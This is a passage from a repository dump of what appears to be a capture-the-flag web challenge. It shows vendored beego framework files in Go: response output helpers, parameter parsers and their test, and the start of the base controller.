parameter required`)\n\t}\n\tcallback = template.JSEscapeString(callback)\n\tcallbackContent := bytes.NewBufferString(\" if(window.\" + callback + \")\" + callback)\n\tcallbackContent.WriteString(\"(\")\n\tcallbackContent.Write(content)\n\tcallbackContent.WriteString(\");\\r\\n\")\n\treturn output.Body(callbackContent.Bytes())\n}\n\n// XML writes xml string to response body.\nfunc (output *BeegoOutput) XML(data interface{}, hasIndent bool) error {\n\toutput.Header(\"Content-Type\", \"application/xml; charset=utf-8\")\n\tvar content []byte\n\tvar err error\n\tif hasIndent {\n\t\tcontent, err = xml.MarshalIndent(data, \"\", \"  \")\n\t} else {\n\t\tcontent, err = xml.Marshal(data)\n\t}\n\tif err != nil {\n\t\thttp.Error(output.Context.ResponseWriter, err.Error(), http.StatusInternalServerError)\n\t\treturn err\n\t}\n\treturn output.Body(content)\n}\n\n// Download forces response for download file.\n// it prepares the download response header automatically.\nfunc (output *BeegoOutput) Download(file string, filename ...string) {\n\t// check get file error, file not found or other error.\n\tif _, err := os.Stat(file); err != nil {\n\t\thttp.ServeFile(output.Context.ResponseWriter, output.Context.Request, file)\n\t\treturn\n\t}\n\n\tvar fName string\n\tif len(filename) > 0 && filename[0] != \"\" {\n\t\tfName = filename[0]\n\t} else {\n\t\tfName = filepath.Base(file)\n\t}\n\toutput.Header(\"Content-Disposition\", \"attachment; filename=\"+url.QueryEscape(fName))\n\toutput.Header(\"Content-Description\", \"File Transfer\")\n\toutput.Header(\"Content-Type\", \"application/octet-stream\")\n\toutput.Header(\"Content-Transfer-Encoding\", \"binary\")\n\toutput.Header(\"Expires\", \"0\")\n\toutput.Header(\"Cache-Control\", \"must-revalidate\")\n\toutput.Header(\"Pragma\", \"public\")\n\thttp.ServeFile(output.Context.ResponseWriter, output.Context.Request, file)\n}\n\n// ContentType sets the content type from ext string.\n// MIME type is given in mime package.\nfunc (output *BeegoOutput) ContentType(ext string) {\n\tif !strings.HasPrefix(ext, \".\") {\n\t\text = \".\" + ext\n\t}\n\tctype := mime.TypeByExtension(ext)\n\tif ctype != \"\" {\n\t\toutput.Header(\"Content-Type\", ctype)\n\t}\n}\n\n// SetStatus sets response status code.\n// It writes response header directly.\nfunc (output *BeegoOutput) SetStatus(status int) {\n\toutput.Status = status\n}\n\n// IsCachable returns boolean of this request is cached.\n// HTTP 304 means cached.\nfunc (output *BeegoOutput) IsCachable() bool {\n\treturn output.Status >= 200 && output.Status < 300 || output.Status == 304\n}\n\n// IsEmpty returns boolean of this request is empty.\n// HTTP 201，204 and 304 means empty.\nfunc (output *BeegoOutput) IsEmpty() bool {\n\treturn output.Status == 201 || output.Status == 204 || output.Status == 304\n}\n\n// IsOk returns boolean of this request runs well.\n// HTTP 200 means ok.\nfunc (output *BeegoOutput) IsOk() bool {\n\treturn output.Status == 200\n}\n\n// IsSuccessful returns boolean of this request runs successfully.\n// HTTP 2xx means ok.\nfunc (output *BeegoOutput) IsSuccessful() bool {\n\treturn output.Status >= 200 && output.Status < 300\n}\n\n// IsRedirect returns boolean of this request is redirection header.\n// HTTP 301,302,307 means redirection.\nfunc (output *BeegoOutput) IsRedirect() bool {\n\treturn output.Status == 301 || output.Status == 302 || output.Status == 303 || output.Status == 307\n}\n\n// IsForbidden returns boolean of this request is forbidden.\n// HTTP 403 means forbidden.\nfunc (output *BeegoOutput) IsForbidden() bool {\n\treturn output.Status == 403\n}\n\n// IsNotFound returns boolean of this request is not found.\n// HTTP 404 means forbidden.\nfunc (output *BeegoOutput) IsNotFound() bool {\n\treturn output.Status == 404\n}\n\n// IsClientError returns boolean of this request client sends error data.\n// HTTP 4xx means forbidden.\nfunc (output *BeegoOutput) IsClientError() bool {\n\treturn output.Status >= 400 && output.Status < 500\n}\n\n// IsServerError returns boolean of this server handler errors.\n// HTTP 5xx means server internal error.\nfunc (output *BeegoOutput) IsServerError() bool {\n\treturn output.Status >= 500 && output.Status < 600\n}\n\nfunc stringsToJSON(str string) string {\n\tvar jsons bytes.Buffer\n\tfor _, r := range str {\n\t\trint := int(r)\n\t\tif rint < 128 {\n\t\t\tjsons.WriteRune(r)\n\t\t} else {\n\t\t\tjsons.WriteString(\"\\\\u\")\n\t\t\tjsons.WriteString(strconv.FormatInt(int64(rint), 16))\n\t\t}\n\t}\n\treturn jsons.String()\n}\n\n// Session sets session item value with given key.\nfunc (output *BeegoOutput) Session(name interface{}, value interface{}) {\n\toutput.Context.Input.CruSession.Set(name, value)\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/context/param/conv.go",
    "content": "package param\n\nimport (\n\t\"fmt\"\n\t\"reflect\"\n\n\tbeecontext \"github.com/astaxie/beego/context\"\n\t\"github.com/astaxie/beego/logs\"\n)\n\n// ConvertParams converts http method params to values that will be passed to the method controller as arguments\nfunc ConvertParams(methodParams []*MethodParam, methodType reflect.Type, ctx *beecontext.Context) (result []reflect.Value) {\n\tresult = make([]reflect.Value, 0, len(methodParams))\n\tfor i := 0; i < len(methodParams); i++ {\n\t\treflectValue := convertParam(methodParams[i], methodType.In(i), ctx)\n\t\tresult = append(result, reflectValue)\n\t}\n\treturn\n}\n\nfunc convertParam(param *MethodParam, paramType reflect.Type, ctx *beecontext.Context) (result reflect.Value) {\n\tparamValue := getParamValue(param, ctx)\n\tif paramValue == \"\" {\n\t\tif param.required {\n\t\t\tctx.Abort(400, fmt.Sprintf(\"Missing parameter %s\", param.name))\n\t\t} else {\n\t\t\tparamValue = param.defaultValue\n\t\t}\n\t}\n\n\treflectValue, err := parseValue(param, paramValue, paramType)\n\tif err != nil {\n\t\tlogs.Debug(fmt.Sprintf(\"Error converting param %s to type %s. Value: %v, Error: %s\", param.name, paramType, paramValue, err))\n\t\tctx.Abort(400, fmt.Sprintf(\"Invalid parameter %s. Can not convert %v to type %s\", param.name, paramValue, paramType))\n\t}\n\n\treturn reflectValue\n}\n\nfunc getParamValue(param *MethodParam, ctx *beecontext.Context) string {\n\tswitch param.in {\n\tcase body:\n\t\treturn string(ctx.Input.RequestBody)\n\tcase header:\n\t\treturn ctx.Input.Header(param.name)\n\tcase path:\n\t\treturn ctx.Input.Query(\":\" + param.name)\n\tdefault:\n\t\treturn ctx.Input.Query(param.name)\n\t}\n}\n\nfunc parseValue(param *MethodParam, paramValue string, paramType reflect.Type) (result reflect.Value, err error) {\n\tif paramValue == \"\" {\n\t\treturn reflect.Zero(paramType), nil\n\t}\n\tparser := getParser(param, paramType)\n\tvalue, err := parser.parse(paramValue, paramType)\n\tif err != nil {\n\t\treturn result, err\n\t}\n\n\treturn safeConvert(reflect.ValueOf(value), paramType)\n}\n\nfunc safeConvert(value reflect.Value, t reflect.Type) (result reflect.Value, err error) {\n\tdefer func() {\n\t\tif r := recover(); r != nil {\n\t\t\tvar ok bool\n\t\t\terr, ok = r.(error)\n\t\t\tif !ok {\n\t\t\t\terr = fmt.Errorf(\"%v\", r)\n\t\t\t}\n\t\t}\n\t}()\n\tresult = value.Convert(t)\n\treturn\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/context/param/methodparams.go",
    "content": "package param\n\nimport (\n\t\"fmt\"\n\t\"strings\"\n)\n\n//MethodParam keeps param information to be auto passed to controller methods\ntype MethodParam struct {\n\tname         string\n\tin           paramType\n\trequired     bool\n\tdefaultValue string\n}\n\ntype paramType byte\n\nconst (\n\tparam paramType = iota\n\tpath\n\tbody\n\theader\n)\n\n//New creates a new MethodParam with name and specific options\nfunc New(name string, opts ...MethodParamOption) *MethodParam {\n\treturn newParam(name, nil, opts)\n}\n\nfunc newParam(name string, parser paramParser, opts []MethodParamOption) (param *MethodParam) {\n\tparam = &MethodParam{name: name}\n\tfor _, option := range opts {\n\t\toption(param)\n\t}\n\treturn\n}\n\n//Make creates an array of MethodParmas or an empty array\nfunc Make(list ...*MethodParam) []*MethodParam {\n\tif len(list) > 0 {\n\t\treturn list\n\t}\n\treturn nil\n}\n\nfunc (mp *MethodParam) String() string {\n\toptions := []string{}\n\tresult := \"param.New(\\\"\" + mp.name + \"\\\"\"\n\tif mp.required {\n\t\toptions = append(options, \"param.IsRequired\")\n\t}\n\tswitch mp.in {\n\tcase path:\n\t\toptions = append(options, \"param.InPath\")\n\tcase body:\n\t\toptions = append(options, \"param.InBody\")\n\tcase header:\n\t\toptions = append(options, \"param.InHeader\")\n\t}\n\tif mp.defaultValue != \"\" {\n\t\toptions = append(options, fmt.Sprintf(`param.Default(\"%s\")`, mp.defaultValue))\n\t}\n\tif len(options) > 0 {\n\t\tresult += \", \"\n\t}\n\tresult += strings.Join(options, \", \")\n\tresult += \")\"\n\treturn result\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/context/param/options.go",
    "content": "package param\n\nimport (\n\t\"fmt\"\n)\n\n// MethodParamOption defines a func which apply options on a MethodParam\ntype MethodParamOption func(*MethodParam)\n\n// IsRequired indicates that this param is required and can not be omitted from the http request\nvar IsRequired MethodParamOption = func(p *MethodParam) {\n\tp.required = true\n}\n\n// InHeader indicates that this param is passed via an http header\nvar InHeader MethodParamOption = func(p *MethodParam) {\n\tp.in = header\n}\n\n// InPath indicates that this param is part of the URL path\nvar InPath MethodParamOption = func(p *MethodParam) {\n\tp.in = path\n}\n\n// InBody indicates that this param is passed as an http request body\nvar InBody MethodParamOption = func(p *MethodParam) {\n\tp.in = body\n}\n\n// Default provides a default value for the http param\nfunc Default(defaultValue interface{}) MethodParamOption {\n\treturn func(p *MethodParam) {\n\t\tif defaultValue != nil {\n\t\t\tp.defaultValue = fmt.Sprint(defaultValue)\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/context/param/parsers.go",
    "content": "package param\n\nimport (\n\t\"encoding/json\"\n\t\"reflect\"\n\t\"strconv\"\n\t\"strings\"\n\t\"time\"\n)\n\ntype paramParser interface {\n\tparse(value string, toType reflect.Type) (interface{}, error)\n}\n\nfunc getParser(param *MethodParam, t reflect.Type) paramParser {\n\tswitch t.Kind() {\n\tcase reflect.Int, reflect.Int8, reflect.Int16, reflect.Int32, reflect.Int64,\n\t\treflect.Uint, reflect.Uint8, reflect.Uint16, reflect.Uint32, reflect.Uint64:\n\t\treturn intParser{}\n\tcase reflect.Slice:\n\t\tif t.Elem().Kind() == reflect.Uint8 { //treat []byte as string\n\t\t\treturn stringParser{}\n\t\t}\n\t\tif param.in == body {\n\t\t\treturn jsonParser{}\n\t\t}\n\t\telemParser := getParser(param, t.Elem())\n\t\tif elemParser == (jsonParser{}) {\n\t\t\treturn elemParser\n\t\t}\n\t\treturn sliceParser(elemParser)\n\tcase reflect.Bool:\n\t\treturn boolParser{}\n\tcase reflect.String:\n\t\treturn stringParser{}\n\tcase reflect.Float32, reflect.Float64:\n\t\treturn floatParser{}\n\tcase reflect.Ptr:\n\t\telemParser := getParser(param, t.Elem())\n\t\tif elemParser == (jsonParser{}) {\n\t\t\treturn elemParser\n\t\t}\n\t\treturn ptrParser(elemParser)\n\tdefault:\n\t\tif t.PkgPath() == \"time\" && t.Name() == \"Time\" {\n\t\t\treturn timeParser{}\n\t\t}\n\t\treturn jsonParser{}\n\t}\n}\n\ntype parserFunc func(value string, toType reflect.Type) (interface{}, error)\n\nfunc (f parserFunc) parse(value string, toType reflect.Type) (interface{}, error) {\n\treturn f(value, toType)\n}\n\ntype boolParser struct {\n}\n\nfunc (p boolParser) parse(value string, toType reflect.Type) (interface{}, error) {\n\treturn strconv.ParseBool(value)\n}\n\ntype stringParser struct {\n}\n\nfunc (p stringParser) parse(value string, toType reflect.Type) (interface{}, error) {\n\treturn value, nil\n}\n\ntype intParser struct {\n}\n\nfunc (p intParser) parse(value string, toType reflect.Type) (interface{}, error) {\n\treturn strconv.Atoi(value)\n}\n\ntype floatParser struct {\n}\n\nfunc (p floatParser) parse(value string, toType reflect.Type) (interface{}, error) {\n\tif toType.Kind() == reflect.Float32 {\n\t\tres, err := strconv.ParseFloat(value, 32)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\treturn float32(res), nil\n\t}\n\treturn strconv.ParseFloat(value, 64)\n}\n\ntype timeParser struct {\n}\n\nfunc (p timeParser) parse(value string, toType reflect.Type) (result interface{}, err error) {\n\tresult, err = time.Parse(time.RFC3339, value)\n\tif err != nil {\n\t\tresult, err = time.Parse(\"2006-01-02\", value)\n\t}\n\treturn\n}\n\ntype jsonParser struct {\n}\n\nfunc (p jsonParser) parse(value string, toType reflect.Type) (interface{}, error) {\n\tpResult := reflect.New(toType)\n\tv := pResult.Interface()\n\terr := json.Unmarshal([]byte(value), v)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn pResult.Elem().Interface(), nil\n}\n\nfunc sliceParser(elemParser paramParser) paramParser {\n\treturn parserFunc(func(value string, toType reflect.Type) (interface{}, error) {\n\t\tvalues := strings.Split(value, \",\")\n\t\tresult := reflect.MakeSlice(toType, 0, len(values))\n\t\telemType := toType.Elem()\n\t\tfor _, v := range values {\n\t\t\tparsedValue, err := elemParser.parse(v, elemType)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\t\t\tresult = reflect.Append(result, reflect.ValueOf(parsedValue))\n\t\t}\n\t\treturn result.Interface(), nil\n\t})\n}\n\nfunc ptrParser(elemParser paramParser) paramParser {\n\treturn parserFunc(func(value string, toType reflect.Type) (interface{}, error) {\n\t\tparsedValue, err := elemParser.parse(value, toType.Elem())\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tnewValPtr := reflect.New(toType.Elem())\n\t\tnewVal := reflect.Indirect(newValPtr)\n\t\tconvertedVal, err := safeConvert(reflect.ValueOf(parsedValue), toType.Elem())\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tnewVal.Set(convertedVal)\n\t\treturn newValPtr.Interface(), nil\n\t})\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/context/param/parsers_test.go",
    "content": "package param\n\nimport \"testing\"\nimport \"reflect\"\nimport \"time\"\n\ntype testDefinition struct {\n\tstrValue       string\n\texpectedValue  interface{}\n\texpectedParser paramParser\n}\n\nfunc Test_Parsers(t *testing.T) {\n\n\t//ints\n\tcheckParser(testDefinition{\"1\", 1, intParser{}}, t)\n\tcheckParser(testDefinition{\"-1\", int64(-1), intParser{}}, t)\n\tcheckParser(testDefinition{\"1\", uint64(1), intParser{}}, t)\n\n\t//floats\n\tcheckParser(testDefinition{\"1.0\", float32(1.0), floatParser{}}, t)\n\tcheckParser(testDefinition{\"-1.0\", float64(-1.0), floatParser{}}, t)\n\n\t//strings\n\tcheckParser(testDefinition{\"AB\", \"AB\", stringParser{}}, t)\n\tcheckParser(testDefinition{\"AB\", []byte{65, 66}, stringParser{}}, t)\n\n\t//bools\n\tcheckParser(testDefinition{\"true\", true, boolParser{}}, t)\n\tcheckParser(testDefinition{\"0\", false, boolParser{}}, t)\n\n\t//timeParser\n\tcheckParser(testDefinition{\"2017-05-30T13:54:53Z\", time.Date(2017, 5, 30, 13, 54, 53, 0, time.UTC), timeParser{}}, t)\n\tcheckParser(testDefinition{\"2017-05-30\", time.Date(2017, 5, 30, 0, 0, 0, 0, time.UTC), timeParser{}}, t)\n\n\t//json\n\tcheckParser(testDefinition{`{\"X\": 5, \"Y\":\"Z\"}`, struct {\n\t\tX int\n\t\tY string\n\t}{5, \"Z\"}, jsonParser{}}, t)\n\n\t//slice in query is parsed as comma delimited\n\tcheckParser(testDefinition{`1,2`, []int{1, 2}, sliceParser(intParser{})}, t)\n\n\t//slice in body is parsed as json\n\tcheckParser(testDefinition{`[\"a\",\"b\"]`, []string{\"a\", \"b\"}, jsonParser{}}, t, MethodParam{in: body})\n\n\t//pointers\n\tvar someInt = 1\n\tcheckParser(testDefinition{`1`, &someInt, ptrParser(intParser{})}, t)\n\n\tvar someStruct = struct{ X int }{5}\n\tcheckParser(testDefinition{`{\"X\": 5}`, &someStruct, jsonParser{}}, t)\n\n}\n\nfunc checkParser(def testDefinition, t *testing.T, methodParam ...MethodParam) {\n\ttoType := reflect.TypeOf(def.expectedValue)\n\tvar mp MethodParam\n\tif len(methodParam) == 0 {\n\t\tmp = MethodParam{}\n\t} else {\n\t\tmp = methodParam[0]\n\t}\n\tparser := getParser(&mp, toType)\n\n\tif reflect.TypeOf(parser) != reflect.TypeOf(def.expectedParser) {\n\t\tt.Errorf(\"Invalid parser for value %v. Expected: %v, actual: %v\", def.strValue, reflect.TypeOf(def.expectedParser).Name(), reflect.TypeOf(parser).Name())\n\t\treturn\n\t}\n\tresult, err := parser.parse(def.strValue, toType)\n\tif err != nil {\n\t\tt.Errorf(\"Parsing error for value %v. Expected result: %v, error: %v\", def.strValue, def.expectedValue, err)\n\t\treturn\n\t}\n\tconvResult, err := safeConvert(reflect.ValueOf(result), toType)\n\tif err != nil {\n\t\tt.Errorf(\"Conversion error for %v. from value: %v, toType: %v, error: %v\", def.strValue, result, toType, err)\n\t\treturn\n\t}\n\tif !reflect.DeepEqual(convResult.Interface(), def.expectedValue) {\n\t\tt.Errorf(\"Parsing error for value %v. Expected result: %v, actual: %v\", def.strValue, def.expectedValue, result)\n\t}\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/context/renderer.go",
    "content": "package context\n\n// Renderer defines an http response renderer\ntype Renderer interface {\n\tRender(ctx *Context)\n}\n\ntype rendererFunc func(ctx *Context)\n\nfunc (f rendererFunc) Render(ctx *Context) {\n\tf(ctx)\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/context/response.go",
    "content": "package context\n\nimport (\n\t\"strconv\"\n\n\t\"net/http\"\n)\n\nconst (\n\t//BadRequest indicates http error 400\n\tBadRequest StatusCode = http.StatusBadRequest\n\n\t//NotFound indicates http error 404\n\tNotFound StatusCode = http.StatusNotFound\n)\n\n// StatusCode sets the http response status code\ntype StatusCode int\n\nfunc (s StatusCode) Error() string {\n\treturn strconv.Itoa(int(s))\n}\n\n// Render sets the http status code\nfunc (s StatusCode) Render(ctx *Context) {\n\tctx.Output.SetStatus(int(s))\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/controller.go",
    "content": "// Copyright 2014 beego Author. All Rights Reserved.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//      http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\npackage beego\n\nimport (\n\t\"bytes\"\n\t\"errors\"\n\t\"html/template\"\n\t\"io\"\n\t\"mime/multipart\"\n\t\"net/http\"\n\t\"net/url\"\n\t\"os\"\n\t\"reflect\"\n\t\"strconv\"\n\t\"strings\"\n\n\t\"github.com/astaxie/beego/context\"\n\t\"github.com/astaxie/beego/context/param\"\n\t\"github.com/astaxie/beego/session\"\n)\n\n//commonly used mime-types\nconst (\n\tapplicationJSON = \"application/json\"\n\tapplicationXML  = \"application/xml\"\n\ttextXML         = \"text/xml\"\n)\n\nvar (\n\t// ErrAbort custom error when user stop request handler manually.\n\tErrAbort = errors.New(\"User stop run\")\n\t// GlobalControllerRouter store comments with controller. pkgpath+controller:comments\n\tGlobalControllerRouter = make(map[string][]ControllerComments)\n)\n\n// ControllerComments store the comment for the controller method\ntype ControllerComments struct {\n\tMethod           string\n\tRouter           string\n\tAllowHTTPMethods []string\n\tParams           []map[string]string\n\tMethodParams     []*param.MethodParam\n}\n\n// ControllerCommentsSlice implements the sort interface\ntype ControllerCommentsSlice []ControllerComments\n\nfunc (p ControllerCommentsSlice) Len() int           { return len(p) }\nfunc (p ControllerCommentsSlice) Less(i, j int) bool { return p[i].Router < p[j].Router }\nfunc (p ControllerCommentsSlice) Swap(i, j int)      { p[i], p[j] = p[j], p[i] }\n\n// Controller defines some basic http request handler operations, such as\n// http context, template and view, session and xsrf.\ntype Controller struct {\n\t// context data\n\tCtx  *context.Context\n\tData map[interface{}]interface{}\n\n\t// route controller info\n\tcontrollerName string\n\tactionName     string\n\tmethodMapping  map[string]func() //method:routertree\n\tgotofunc       string\n\tAppController  interface{}\n\n\t// template data\n\tTplName        string\n\tViewPath       string\n\tLayout         string\n\tLayoutSections map[string]string // the key is the section name and the value is the template name\n\tTplPrefix      string\n\tTplExt         string\n\tEnableRender   bool\n\n\t// xsrf data\n\t_xsrfToken string\n\tXSRFExpire int\n\tEnableXSRF bool\n\n\t// session\n\tCruSession session.Store\n}\n\n// ControllerInterface is an interface to uniform all controller handler.\ntype ControllerInterface interface {\n\tInit(ct *context.Context, controllerName, actionName string, app interface{})\n\tPrepare()\n\tGet()\n\tPost()\n\tDelete()\n\tPut()\n\tHead()\n\tPatch()\n\tOptions()\n\tFinish()\n\tRender() error\n\tXSRFToken() string\n\tCheckXSRFCookie() bool\n\tHandlerFunc(fn string) bool\n\tURLMapping()\n}\n\n// Init generates default values of controller operations.\nfunc (c *Controller) Init(ctx *context.Context, controllerName, actionName string, app interface{}) {\n\tc.Layout = \"\"\n\tc.TplName = \"\"\n\tc.controllerName = controllerName\n\tc.actionName = actionName\n\tc.Ctx = ctx\n\tc.TplExt = \"tpl\"\n\tc.AppController = app\n\tc.EnableRender = true\n\tc.EnableXSRF = true\n\tc.Data = ctx.Input.Data()\n\tc.methodMapping = make(map[string]func())\n}\n\n// Prepare runs after Init before request function execution.\nfunc (c *Controller) Prepare() {}\n\n// Finish runs after request function execution.\nfunc (c *Controller) Finish() {}\n\n// Get adds a request function to handle GET request.\nfunc (c *Controller) Get() {\n\thttp.Error(c.Ctx.ResponseWriter, \"Method Not Allowed\", 405)\n}\n\n// Post adds a request function to handle POST request.\nfunc (c *Controller) Post() {\n\thttp.Error(c.Ctx.ResponseWriter, \"Method Not Allowed\", 405)\n}\n\n// Delete adds a request function to handle DELETE request.\nfunc (c *Controller) Delete() {\n\thttp.Error(c.Ctx.ResponseWriter, \"Method Not Allowed\", 405)\n}\n\n// Put adds a request function to handle PUT request.\nfunc (c *Controller) Put() {\n\thttp.Error(c.Ctx.ResponseWriter, \"Method Not Allowed\", 405)\n}\n\n// Head adds a request function to handle HEAD request.\nfunc (c *Controller) Head() {\n\thttp.Error(c.Ctx.ResponseWriter, \"Method Not Allowed\", 405)\n}\n\n// Patch adds a request function to handle PATCH request.\nfunc (c *Controller) Patch() {\n\thttp.Error(c.Ctx.ResponseWriter, \"Method Not Allowed\", 405)\n}\n\n// Options adds a request function to handle OPTIONS request.\nfunc (c *Controller) Options() {\n\thttp.Error(c.Ctx.ResponseWriter, \"Method Not Allowed\", 405)\n}\n\n// HandlerFunc call function with the name\nfunc (c *Controller) HandlerFunc(fnname string) bool {\n\tif v, ok := c.methodMapping[fnname]; ok {\n\t\tv()\n\t\treturn true\n\t}\n\treturn false\n}\n\n// URLMapping register the internal Controller router.\nfunc (c *Controller) URLMapping() {}\n\n// Mapping the method to function\nfunc (c *Controller) Mapping(method string, fn func()) {\n\tc.methodMapping[method] = fn\n}\n\n// Render sends the response with rendered template bytes as text/html type.\nfunc (c *Controller) Render() error {\n\tif !c.EnableRender {\n\t\treturn nil\n\t}\n\trb, err := c.RenderBytes()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif c.Ctx.ResponseWriter.Header().Get(\"Content-Type\") == \"\" {\n\t\tc.Ctx.Output.Header(\"Content-Type\", \"text/html; charset=utf-8\")\n\t}\n\n\treturn c.Ctx.Output.Body(rb)\n}\n\n// RenderString returns the rendered template string. Do not send out response.\nfunc (c *Controller) RenderString() (string, error) {\n\tb, e := c.RenderBytes()\n\treturn string(b), e\n}\n\n// RenderBytes returns the bytes of rendered template string. Do not send out response.\nfunc (c *Controller) RenderBytes() ([]byte, error) {\n\tbuf, err := c.renderTemplate()\n\t//if the controller has set layout, then first get the tplName's content set the content to the layout\n\tif err == nil && c.Layout != \"\" {\n\t\tc.Data[\"LayoutContent\"] = template.HTML(buf.String())\n\n\t\tif c.LayoutSections != nil {\n\t\t\tfor sectionName, sectionTpl := range c.LayoutSections {\n\t\t\t\tif sectionTpl == \"\" {\n\t\t\t\t\tc.Data[sectionName] = \"\"\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\t\t\t\tbuf.Reset()\n\t\t\t\terr = ExecuteViewPathTemplate(&buf, sectionTpl, c.viewPath(), c.Data)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn nil, err\n\t\t\t\t}\n\t\t\t\tc.Data[sectionName] = template.HTML(buf.String())\n\t\t\t}\n\t\t}\n\n\t\tbuf.Reset()\n\t\tExecuteViewPathTemplate(&buf, c.Layout, c.viewPath(), c.Data)\n\t}\n\treturn buf.Bytes(), err\n}\n\nfunc (c *Controller) renderTemplate() (bytes.Buffer, error) {\n\tvar buf bytes.Buffer\n\tif c.TplName == \"\" {\n\t\tc.TplName = strings.ToLower(c.controllerName) + \"/\" + strings.ToLower(c.actionName) + \".\" + c.TplExt\n\t}\n\tif c.TplPrefix != \"\" {\n\t\tc.TplName = c.TplPrefix + c.TplName\n\t}\n\tif BConfig.RunMode == DEV {\n\t\tbuildFiles := []string{c.TplName}\n\t\tif c.Layout != \"\" {\n\t\t\tbuildFiles = append(buildFiles, c.Layout)\n\t\t\tif c.LayoutSections != nil {\n\t\t\t\tfor _, sectionTpl := range c.LayoutSections {\n\t\t\t\t\tif sectionTpl == \"\" {\n\t\t\t\t\t\tcontinue\n\t\t\t\t\t}\n\t\t\t\t\tbuildFiles = append(buildFiles, sectionTpl)\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tBuildTemplate(c.viewPath(), buildFiles...)\n\t}\n\treturn buf, ExecuteViewPathTemplate(&buf, c.TplName, c.viewPath(), c.Data)\n}\n\nfunc (c *Controller) viewPath() string {\n\tif c.ViewPath == \"\" {\n\t\treturn BConfig.WebConfig.ViewsPath\n\t}\n\treturn c.ViewPath\n}\n\n// Redirect sends the redirection response to url with status code.\nfunc (c *Controller) Redirect(url string, code int) {\n\tc.Ctx.Redirect(code, url)\n}\n\n// Abort stops controller handler and show the error data if code is defined in ErrorMap or code string.\nfunc (c *Controller) Abort(code string) {\n\tstatus, err := strconv.Atoi(code)\n\tif err != nil {\n\t\tstatus = 200\n\t}\n\tc.CustomAbort(status, code)\n}\n\n// CustomAbort stops controller handler and show the error data, it's similar Aborts, but support status code and body.\nfunc (c *Controller) CustomAbort(status int, body string) {\n\t// first panic from ErrorMaps, it is user defined error functions.\n\tif _, ok := ErrorMaps[body]; ok {\n\t\tc.Ctx.Output.Status = status\n\t\tpanic(body)\n\t}\n\t// last panic user string\n\tc.Ctx.ResponseWriter.WriteHeader(status)\n\tc.Ctx.ResponseWriter.Write([]byte(body))\n\tpanic(ErrAbort)\n}\n\n// StopRun makes panic of USERSTOPRUN error and go to recover function if defined.\nfunc (c *Controller) StopRun() {\n\tpanic(ErrAbort)\n}\n\n// URLFor does another controller handler in this request function.\n// it goes to this controller method if endpoint is not clear.\nfunc (c *Controller) URLFor(endpoint string, values ...interface{}) string {\n\tif len(endpoint) == 0 {\n\t\treturn \"\"\n\t}\n\tif endpoint[0] == '.' {\n\t\treturn URLFor(reflect.Indirect(reflect.ValueOf(c.AppController)).Type().Name()+endpoint, values...)\n\t}\n\treturn URLFor(endpoint, values...)\n}\n\n// ServeJSON sends a json response with encoding charset.\nfunc (c *Controller) ServeJSON(encoding ...bool) {\n\tvar (\n\t\thasIndent   = true\n\t\thasEncoding = false\n\t)\n\tif BConfig.RunMode == PROD {\n\t\thasIndent = false\n\t}\n\tif len(encoding) > 0 && encoding[0] {\n\t\thasEncoding = true\n\t}\n\tc.Ctx.Output.JSON(c.Data[\"json\"], hasIndent, hasEncoding)\n}\n\n// ServeJSONP sends a jsonp response.\nfunc (c *Controller) ServeJSONP() {\n\thasIndent := true\n\tif BConfig.RunMode == PROD {\n\t\thasIndent = false\n\t}\n\tc.Ctx.Output.JSONP(c.Data[\"jsonp\"], hasIndent)\n}\n\n// ServeXML sends xml response.\nfunc (c *Controller) ServeXML() {\n\thasIndent := true\n\tif BConfig.RunMode == PROD {\n\t\thasIndent = false\n\t}\n\tc.Ctx.Output.XML(c.Data[\"xml\"], hasIndent)\n}\n\n// ServeFormatted serve Xml OR Json, depending on the value of the Accept header\nfunc (c *Controller) ServeFormatted() {\n\taccept := c.Ctx.Input.Header(\"Accept\")\n\tswitch accept {\n\tcase applicationJSON:\n\t\tc.ServeJSON()\n\tcase applicationXML, textXML:\n\t\tc.ServeXML()\n\tdefault:\n\t\tc.ServeJSON()\n\t}\n}\n\n// Input returns the input data map from POST or PUT request body and query string.\nfunc (c *Controller) Input() url.Values {\n\tif c.Ctx.Request.Form == nil {\n\t\tc.Ctx.Request.ParseForm()\n\t}\n\treturn c.Ctx.Request.Form\n}\n\n// ParseForm maps input data map to obj struct.\nfunc (c *Controller) ParseForm(obj interface{}) error {\n\treturn ParseForm(c.Input(), obj)\n}\n\n// GetString returns the input value by key string or the default value while it's present and input is blank\nfunc (c *Controller) GetString(key string, def ...string) string {\n\tif v := c.Ctx.Input.Query(key); v != \"\" {\n\t\treturn v\n\t}\n\tif len(def) > 0 {\n\t\treturn def[0]\n\t}\n\treturn \"\"\n}\n\n// GetStrings returns the input string slice by key string or the default value while it's present and input is blank\n// it's designed for multi-value input field such as checkbox(input[type=checkbox]), multi-selection.\nfunc (c *Controller) 